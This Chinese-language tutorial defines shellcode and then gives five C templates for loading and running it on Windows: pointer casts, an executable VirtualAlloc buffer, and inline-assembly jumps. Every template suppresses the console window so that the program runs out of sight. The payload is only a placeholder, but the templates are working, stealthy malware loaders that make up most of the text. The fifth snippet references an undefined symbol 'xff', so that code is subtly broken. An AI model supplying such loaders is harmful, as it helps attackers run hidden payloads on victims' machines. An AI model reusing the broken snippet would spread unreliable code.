一、什么是shellcode?
shellcode是一小段代码,用于利用软件漏洞作为有效载荷。它之所以被称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执行类似任务的任何代码都可以被称为shellcode。因为有效载荷(payload)的功能不仅限于生成shell
简单来说:shellcode为16进制的机器码,是一段执行某些动作的机器码
那么,什么是机器码呢?
在百度百科中这样解释道:计算机直接使用的程序语言,其语句就是机器指令码,机器指令码是用于指挥计算机应做的操作和操作数地址的一组二进制数
简单来说:直接指挥计算机的机器指令码
二、shellcode执行的几种常见方式
1、指针执行
最常见的一种加载shellcode的方法,使用指针来执行函数
#include <Windows.h> #include <stdio.h> unsigned char buf[] = "你的shellcode"; #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 int main() { ((void(*)(void)) & buf)(); }
2、申请动态内存加载
申请一段动态内存,然后把shellcode放进去,随后强转为一个函数类型指针,最后调用这个函数
#include <Windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 int main() { char shellcode[] = "你的shellcode"; void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); }
3、嵌入汇编加载
注:必须要x86版本的shellcode
#include <windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 unsigned char shellcode[] = "你的shellcode"; void main() { __asm { mov eax, offset shellcode jmp eax } }
4、强制类型转换
#include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 unsigned char buff[] = "你的shellcode"; void main() { ((void(WINAPI*)(void)) & buff)(); }
5、汇编花指令
和方法3差不多
#include <windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 unsigned char buff[] = "你的shellcode"; void main() { __asm { mov eax, offset xff; _emit 0xFF; _emit 0xE0; } }
以上五种方法就是最常见的shellcode执行方式